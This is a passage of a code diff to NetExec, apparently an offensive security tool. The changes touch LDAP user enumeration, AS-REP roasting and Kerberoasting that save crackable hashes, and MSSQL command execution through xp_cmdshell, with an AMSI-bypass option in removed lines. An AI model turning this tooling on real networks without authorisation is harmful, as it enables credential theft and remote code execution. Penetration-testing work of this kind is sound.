             self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -660,7 +695,7 @@ class ldap(connection):
         attributes = ["objectSid"]
         resp = self.search(search_filter, attributes, sizeLimit=0)
         answers = []
-        if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
+        if resp and self.password != "" and self.username != "":
             for attribute in resp[0][1]:
                 if str(attribute["type"]) == "objectSid":
                     sid = self.sid_to_str(attribute["vals"][0])
@@ -718,54 +753,59 @@ class ldap(connection):
         return False
 
     def users(self):
-        """
-        Retrieves user information from the LDAP server.
-
-        Args:
-        ----
-            input_attributes (list): Optional. List of attributes to retrieve for each user.
-
-        Returns:
-        -------
-            None
-        """
-        if len(self.args.users) > 0:
-            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
-            search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
-        else:
-            self.logger.debug("Trying to dump all users")
-            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-
-        # default to these attributes to mirror the SMB --users functionality
-        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
-        resp = self.search(search_filter, request_attributes, sizeLimit=0)
+        # Building the search filter
+        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+        attributes = [
+            "sAMAccountName",
+            "description",
+            "badPasswordTime",
+            "badPwdCount",
+            "pwdLastSet",
+            "lastLogonTimestamp",
+        ]
 
+        resp = self.search(search_filter, attributes, sizeLimit=0)
         if resp:
-            # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
-            if self.username == "":
-                self.logger.display(f"Total records returned: {len(resp):d}")
-                for item in resp:
-                    if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                        continue
-                    self.logger.highlight(f"{item['objectName']}")
-                return
-
-            users = parse_result_attributes(resp)
-            # we print the total records after we parse the results since often SearchResultReferences are returned
-            self.logger.display(f"Total records returned: {len(users):d}")
-            self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
-            for user in users:
-                # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
-                parsed_pw_last_set = ""
-                pwd_last_set = user.get("pwdLastSet", "")
-                if pwd_last_set != "":
-                    timestamp_seconds = int(pwd_last_set) / 10**7
-                    start_date = datetime(1601, 1, 1)
-                    parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
-                    if parsed_pw_last_set == "1601-01-01 00:00:00":
-                        parsed_pw_last_set = "<never>"
-                # we default attributes to blank strings if they don't exist in the dict
-                self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
+            self.logger.display(f"Total of records returned {len(resp):d}")
+            for item in resp:
+                if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                    continue
+                sAMAccountName = ""
+                description = ""
+                pwdLastSet = ""
+                badPwdCount = 0
+                badPasswordTime = ""
+                lastLogonTimestamp = ""
+                try:
+                    if self.username == "":
+                        self.logger.highlight(f"{item['objectName']}")
+                    else:
+                        for attribute in item["attributes"]:
+                            if str(attribute["type"]) == "sAMAccountName":
+                                sAMAccountName = str(attribute["vals"][0])
+                            elif str(attribute["type"]) == "description":
+                                description = str(attribute["vals"][0])
+                            elif str(attribute["type"]) == "pwdLastSet":
+                                if str(attribute['vals'][0]) == '0':
+                                    pwdLastSet = '<never>'
+                                else:
+                                    pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                            elif str(attribute["type"]) == "badPwdCount":
+                                badPwdCount = int(attribute["vals"][0])
+                            elif str(attribute['type']) == 'badPasswordTime':
+                                if str(attribute['vals'][0]) == '0':
+                                    badPasswordTime = '<never>'
+                                else:
+                                    badPasswordTime = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                            elif str(attribute['type']) == 'lastLogonTimestamp':
+                                if str(attribute['vals'][0]) == '0':
+                                    lastLogonTimestamp = '<never>'
+                                else:
+                                    lastLogonTimestamp = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                        self.logger.highlight(f"{sAMAccountName:<30} badPwdCount:{badPwdCount:<5} badPwdTime:{badPasswordTime:<30} pwdLastSet:{pwdLastSet:<30} lastLogonTimestamp:{lastLogonTimestamp:<30} desc:{description}")
+                except Exception as e:
+                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
+            return
 
     def groups(self):
         # Building the search filter
@@ -814,74 +854,32 @@ class ldap(connection):
                 self.logger.fail(f"Skipping item, cannot process due to error {e}")
 
     def active_users(self):
-        if len(self.args.active_users) > 0:
-            arg = True
-            self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
-            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-            search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
-        else:
-            arg = False
-            self.logger.debug("Trying to dump all users")
-            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+        # Building the search filter
+        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+        attributes = ["sAMAccountName", "userAccountControl"]
 
-        # default to these attributes to mirror the SMB --users functionality
-        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
-        resp = self.search(search_filter, request_attributes, sizeLimit=0)
-        allusers = parse_result_attributes(resp)
-
-        count = 0
-        activeusers = []
-        argsusers = []
-
-        if arg:
-            resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
-            users_args = parse_result_attributes(resp_args)
-            # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
-            for i in range(len(self.args.active_users)):
-                try:
-                    argsusers.append(users_args[i])
-                except Exception as e:
-                    self.logger.debug("Exception:", exc_info=True)
-                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
-        else:
-            argsusers = allusers
-
-        for user in allusers:
-            user_account_control = user.get("userAccountControl")
-            if user_account_control is not None:  # Check if user_account_control is not None
-                account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control  # If it's already a list
-                account_disabled = int(account_control) & 2
-                if not account_disabled:
-                    count += 1
-                    activeusers.append(user.get("sAMAccountName").lower())
-            else:
-                self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
-
-        if self.username == "":
-            self.logger.display(f"Total records returned: {len(resp):d}")
-            for item in resp_args:
+        resp = self.search(search_filter, attributes, sizeLimit=0)
+        if resp:
+            for item in resp:
                 if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
                     continue
-                self.logger.highlight(f"{item['objectName']}")
+                sAMAccountName = ""
+                userAccountControl = ""
+                try:
+                    if self.username == "":
+                        self.logger.highlight(f"{item['objectName']}")
+                    else:
+                        for attribute in item["attributes"]:
+                            if str(attribute["type"]) == "sAMAccountName":
+                                sAMAccountName = str(attribute["vals"][0])
+                            elif str(attribute["type"]) == "userAccountControl":
+                                userAccountControl = int(attribute["vals"][0])
+                                account_disabled = userAccountControl & 2
+                        if not account_disabled: 
+                            self.logger.highlight(f"{sAMAccountName}")
+                except Exception as e:
+                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
             return
-        self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
-        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
-
-        for arguser in argsusers:
-            pwd_last_set = arguser.get("pwdLastSet", "")  # Retrieves pwdLastSet directly and defaults to an empty string.
-            if pwd_last_set:  # Checks if pwdLastSet is empty or not.
-                timestamp_seconds = int(pwd_last_set) / 10**7  # Converts pwdLastSet to an integer.
-                start_date = datetime(1601, 1, 1)
-                parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
-                if parsed_pw_last_set == "1601-01-01 00:00:00":
-                    parsed_pw_last_set = "<never>"
-
-            if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
-                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
-            elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
-                self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
-            elif (arguser.get("sAMAccountName").lower() in activeusers):
-                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
 
     def asreproast(self):
         if self.password == "" and self.nthash == "" and self.kerberos is False:
@@ -896,7 +894,7 @@ class ldap(connection):
             "lastLogon",
         ]
         resp = self.search(search_filter, attributes, 0)
-        if resp is None:
+        if resp == []:
             self.logger.highlight("No entries found!")
         elif resp:
             answers = []
@@ -940,10 +938,10 @@ class ldap(connection):
             if len(answers) > 0:
                 for user in answers:
                     hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
-                    if hash_TGT:
-                        self.logger.highlight(f"{hash_TGT}")
-                        with open(self.args.asreproast, "a+") as hash_asreproast:
-                            hash_asreproast.write(f"{hash_TGT}\n")
+                    hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
+                    self.logger.highlight(f"{hash_TGT}")
+                    with open(self.args.asreproast, "a+") as hash_asreproast:
+                        hash_asreproast.write(hash_TGT + "\n")
                 return True
             else:
                 self.logger.highlight("No entries found!")
@@ -952,7 +950,7 @@ class ldap(connection):
 
     def kerberoasting(self):
         # Building the search filter
-        searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
+        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
         attributes = [
             "servicePrincipalName",
             "sAMAccountName",
@@ -1003,7 +1001,7 @@ class ldap(connection):
 
                     if mustCommit is True:
                         if int(userAccountControl) & UF_ACCOUNTDISABLE:
-                            self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
+                            self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
                         else:
                             answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
                 except Exception as e:
@@ -1055,36 +1053,6 @@ class ldap(connection):
                 self.logger.highlight("No entries found!")
         self.logger.fail("Error with the LDAP account used")
 
-    def query(self):
-        """
-        Query the LDAP server with the specified filter and attributes.
-        Example usage:
-            --query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
-        """
-        search_filter = self.args.query[0]
-        attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
-        if len(attributes) == 1 and attributes[0] == "":
-            attributes = None
-        if not search_filter:
-            self.logger.fail("No filter specified")
-            return
-        self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
-        try:
-            resp = self.search(search_filter, attributes, 0)
-        except LDAPFilterSyntaxError as e:
-            self.logger.fail(f"LDAP Filter Syntax Error: {e}")
-            return
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            self.logger.success(f"Response for object: {item['objectName']}")
-            for attribute in item["attributes"]:
-                attr = f"{attribute['type']}:"
-                vals = str(attribute["vals"]).replace("\n", "")
-                if "SetOf: " in vals:
-                    vals = vals.replace("SetOf: ", "")
-                self.logger.highlight(f"{attr:<20} {vals}")
-
     def trusted_for_delegation(self):
         # Building the search filter
         searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1402,9 +1370,9 @@ class ldap(connection):
         ad = AD(
             auth=auth,
             domain=self.domain,
-            nameserver=self.args.dns_server,
-            dns_tcp=self.args.dns_tcp,
-            dns_timeout=self.args.dns_timeout,
+            nameserver=self.args.nameserver,
+            dns_tcp=False,
+            dns_timeout=3,
         )
         collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
         if not collect:
@@ -1429,18 +1397,15 @@ class ldap(connection):
             num_workers=10,
             disable_pooling=False,
             timestamp=timestamp,
-            fileNamePrefix=self.output_filename.split("/")[-1],
             computerfile=None,
             cachefile=None,
             exclude_dcs=False,
         )
 
-        self.output_filename += f"_{timestamp}"
-
         self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
         list_of_files = os.listdir(os.getcwd())
         with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
             for each_file in list_of_files:
-                if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
+                if each_file.startswith(timestamp) and each_file.endswith("json"):
                     z.write(each_file)
                     os.remove(each_file)

nxc/protocols/ldap/bloodhound.py

@@ -44,7 +44,17 @@ class BloodHound:
         # Create an object resolver
         self.ad.create_objectresolver(self.pdc)
 
-    def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
+
+    def run(
+        self,
+        collect,
+        num_workers=10,
+        disable_pooling=False,
+        timestamp="",
+        computerfile="",
+        cachefile=None,
+        exclude_dcs=False,
+    ):
         start_time = time.time()
         if cachefile:
             self.ad.load_cachefile(cachefile)
@@ -72,7 +82,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
+            membership_enum.enumerate_memberships(timestamp=timestamp)
         elif "container" in collect:
             # Fetch domains for later, computers if needed
             self.pdc.prefetch_info(
@@ -82,7 +92,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
+            membership_enum.do_container_collection(timestamp=timestamp)
         elif do_computer_enum:
             # We need to know which computers to query regardless
             # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
@@ -92,7 +102,7 @@ class BloodHound:
             self.pdc.get_domains("acl" in collect)
         if "trusts" in collect or "acl" in collect or "objectprops" in collect:
             trusts_enum = DomainEnumerator(self.ad, self.pdc)
-            trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
+            trusts_enum.dump_domain(collect, timestamp=timestamp)
         if do_computer_enum:
             # If we don't have a GC server, don't use it for deconflictation
             have_gc = len(self.ad.gcs()) > 0
@@ -104,7 +114,7 @@ class BloodHound:
                 computerfile=computerfile,
                 exclude_dcs=exclude_dcs,
             )
-            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
+            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
         end_time = time.time()
         minutes, seconds = divmod(int(end_time - start_time), 60)
         self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))

nxc/protocols/ldap/database.py

@@ -2,7 +2,7 @@ from pathlib import Path
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -54,7 +54,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -66,7 +66,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/ldap/kerberos.py

@@ -1,18 +1,18 @@
 import random
 from binascii import hexlify, unhexlify
 from datetime import datetime, timedelta
-import traceback
-try:
-    # This is only available in python >= 3.11
-    # if we are in a lower version, we will use the deprecated utcnow() method
-    from datetime import UTC
-    utc_failed = False
-except ImportError:
-    utc_failed = True
 from os import getenv
 
 from impacket.krb5 import constants
-from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
+from impacket.krb5.asn1 import (
+    TGS_REP,
+    AS_REQ,
+    KERB_PA_PAC_REQUEST,
+    KRB_ERROR,
+    AS_REP,
+    seq_set,
+    seq_set_iter,
+)
 from impacket.krb5.ccache import CCache
 from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
 from impacket.krb5.types import KerberosTime, Principal
@@ -211,8 +211,7 @@ class KerberosAttacks:
             return None
 
         req_body["realm"] = domain
-        # When we drop python 3.10 support utcnow() can be removed, as it is deprecated
-        now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
+        now = datetime.utcnow() + timedelta(days=1)
         req_body["till"] = KerberosTime.to_asn1(now)
         req_body["rtime"] = KerberosTime.to_asn1(now)
         req_body["nonce"] = random.getrandbits(31)
@@ -236,11 +235,10 @@ class KerberosAttacks:
                 message = encoder.encode(as_req)
                 r = sendReceive(message, domain, self.kdcHost)
             elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
-                return f"Password of user {userName} expired but user doesn't require pre-auth"
+                return "Password of user " + userName + " expired but user doesn't require pre-auth"
             else:
-                nxc_logger.fail(e)
-                nxc_logger.debug(traceback.format_exc())
-                return None
+                nxc_logger.debug(e)
+                return False
 
         # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
         # 'Do not require Kerberos preauthentication' set

nxc/protocols/ldap/laps.py

@@ -323,8 +323,8 @@ def laps_search(self, username, password, cred_type, domain):
                     password[0] if cred_type[0] == "plaintext" else "",
                     domain[0],
                     password[0] if cred_type[0] == "hash" else "",
-                    self.kerberos,
-                    self.kdcHost,
+                    self.args.kerberos,
+                    self.args.kdcHost,
                     339
                 )
                 try:

nxc/protocols/ldap/proto_args.py

@@ -1,30 +1,30 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
+from argparse import _StoreTrueAction
 
 
-def proto_args(parser, parents):
-    ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
     ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
-    ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
+    ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
+    no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
 
     dgroup = ldap_parser.add_mutually_exclusive_group()
-    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
+    no_smb_arg.make_required = [domain_arg]
 
     egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
     egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
 
     vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
-    vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
     vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
     vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
     vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
-    vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
+    vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
     vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
     vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
     vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
-    vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
+    vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
 
     ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
     ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
@@ -33,6 +33,22 @@ def proto_args(parser, parents):
 
     bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
     bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
-    bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
+    bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
+    bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
 
     return parser
+
+
+def get_conditional_action(baseAction):
+    class ConditionalAction(baseAction):
+        def __init__(self, option_strings, dest, **kwargs):
+            x = kwargs.pop("make_required", [])
+            super().__init__(option_strings, dest, **kwargs)
+            self.make_required = x
+
+        def __call__(self, parser, namespace, values, option_string=None):
+            for x in self.make_required:
+                x.required = True
+            super().__call__(parser, namespace, values, option_string)
+
+    return ConditionalAction

nxc/protocols/mssql.py

@@ -2,7 +2,6 @@ import os
 import random
 import socket
 import contextlib
-from io import StringIO
 
 from nxc.config import process_secret
 from nxc.connection import connection
@@ -32,8 +31,7 @@ from impacket.tds import (
 class mssql(connection):
     def __init__(self, args, db, host):
         self.mssql_instances = []
-        self.domain = ""
-        self.targetDomain = ""
+        self.domain = None
         self.server_os = None
         self.hash = None
         self.os_arch = None
@@ -54,7 +52,7 @@ class mssql(connection):
 
     def create_conn_obj(self):
         try:
-            self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
+            self.conn = tds.MSSQL(self.host, self.port)
             # Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
             af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
             sock = socket.socket(af, socktype, proto)
@@ -74,6 +72,9 @@ class mssql(connection):
         def wrapper(self, *args, **kwargs):
             with contextlib.suppress(Exception):
                 self.conn.disconnect()
+            # When using ccache file, we must need to set target host to hostname when creating connection object.
+            if self.kerberos:
+                self.host = self.hostname
             self.create_conn_obj()
             return func(self, *args, **kwargs)
         return wrapper
@@ -121,26 +122,23 @@ class mssql(connection):
             return False
         else:
             ntlm_info = parse_challenge(challenge)
-            self.targetDomain = self.domain = ntlm_info["domain"]
+            self.domain = ntlm_info["domain"]
             self.hostname = ntlm_info["hostname"]
             self.server_os = ntlm_info["os_version"]
             self.logger.extra["hostname"] = self.hostname
-            self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
+            self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
 
         if self.args.domain:
             self.domain = self.args.domain
+
         if self.args.local_auth:
             self.domain = self.hostname
 
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
-
-        if not self.kdcHost and self.domain:
-            result = self.resolver(self.domain)
-            self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+        if self.domain is None:
+            self.domain = ""
 
     def print_host_info(self):
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
         return True
 
     @reconnect_mssql
@@ -175,6 +173,7 @@ class mssql(connection):
             self.username = username
 
         used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
+
         try:
             res = self.conn.kerberosLogin(
                 None,
@@ -301,55 +300,42 @@ class mssql(connection):
 
     @requires_admin
     def execute(self, payload=None, get_output=False):
-        payload = self.args.execute if not payload and self.args.execute else payload
-        if not payload:
-            self.logger.error("No command to execute specified!")
-            return None
-        
-        get_output = True if not self.args.no_output else get_output
-        self.logger.debug(f"{get_output=}")
-        
+        if not payload and self.args.execute:
+            payload = self.args.execute
+
+        if not self.args.no_output:
+            get_output = True
+
+        self.logger.info(f"Command to execute: {payload}")
         try:
             exec_method = MSSQLEXEC(self.conn, self.logger)
-            output = exec_method.execute(payload)
-            self.logger.debug(f"Output: {output}")
+            raw_output = exec_method.execute(payload, get_output)
         except Exception as e:
             self.logger.fail(f"Execute command failed, error: {e!s}")
             return False
         else:
-            self.logger.success("Executed command via mssqlexec")   
-            if output:
-                output_lines = StringIO(output).readlines()
-                for line in output_lines:
-                    self.logger.highlight(line.strip())
-        return output
+            self.logger.success("Executed command via mssqlexec")
+            if raw_output:
+                for line in raw_output:
+                    self.logger.highlight(line)
+            return raw_output
 
     @requires_admin
-    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
-        payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
-        if not payload:
-            self.logger.error("No command to execute specified!")
-            return None
-        
-        response = []
-        obfs = obfs if obfs else self.args.obfs
-        encode = encode if encode else not self.args.no_encode
-        force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
-        get_output = True if not self.args.no_output else get_output
-                
-        self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
-        amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
-        self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
-        
-        if os.path.isfile(payload):
-            self.logger.debug(f"File payload set: {payload}")
-            with open(payload) as commands:
-                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
-        else:
-            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
-            
-        self.logger.debug(f"ps_execute response: {response}")
-        return response
+    def ps_execute(
+        self,
+        payload=None,
+        get_output=False,
+        force_ps32=False,
+        dont_obfs=False,
+    ):
+        if not payload and self.args.ps_execute:
+            payload = self.args.ps_execute
+            if not self.args.no_output:
+                get_output = True
+
+        # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
+        ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
+        return self.execute(ps_command, get_output)
 
     @requires_admin
     def put_file(self):

nxc/protocols/mssql/database.py

@@ -2,7 +2,7 @@ from pathlib import Path
 from sqlalchemy import MetaData, func, Table, select, insert, update, delete
 from sqlalchemy.dialects.sqlite import Insert  # used for upsert
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -77,7 +77,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -89,7 +89,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/mssql/mssqlexec.py

@@ -5,85 +5,70 @@ class MSSQLEXEC:
     def __init__(self, connection, logger):
         self.mssql_conn = connection
         self.logger = logger
+        self.outputBuffer = []
 
-    def execute(self, command):
-        result = None
+    def execute(self, command, output=False):
         try:
-            self.logger.debug("Attempting to enable xp cmd shell")
             self.enable_xp_cmdshell()
         except Exception as e:
             self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
+
         try:
-            cmd = f"exec master..xp_cmdshell '{command}'"
-            self.logger.debug(f"Attempting to execute query: {cmd}")
-            result = self.mssql_conn.sql_query(cmd)
-            self.logger.debug(f"Raw results from query: {result}")
-            if result:
